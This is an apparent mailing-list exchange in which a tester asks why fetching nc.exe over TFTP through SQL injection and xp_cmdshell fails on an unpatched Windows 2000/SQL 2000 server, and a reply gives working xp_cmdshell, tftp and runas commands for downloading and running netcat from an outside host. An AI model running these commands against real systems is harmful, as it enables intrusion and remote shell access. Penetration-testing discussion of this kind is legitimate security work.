HI jose,

try like that

xp_cmdshell 'tftp -i yourHost GET nc.exe'
xp_cmdshell 'nc.exe'

and you will work in the current directory (c:\windows\system32).

Maybe sqlsvc user can't write in c:\ folder. Can He?.

The first call to tftp you are using Administrator user, who of course can write in c:\ .

Try "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\winnt\temp\nc.exe".
It must work.

Hi, I am testing a Web App vulnerable to SQL Injection.
It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.

While trying to use the xp_cmdshell to upload nc.exe from my tftpd server to the Webserver, I experienced some problems.

I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.

As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET nc.exe c:\nc.exe". File is downloaded.

When I tried it through the wep app it failed. I tried directly through SQL Query Analizer and it also failed.

SQL is running as a low priviledged account (sqlsvc)...

Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\nc.exe" and IT FAILED.!!

I can easily deduce that the problem is the TFTP client (tftp.exe)...

Any Ideas?
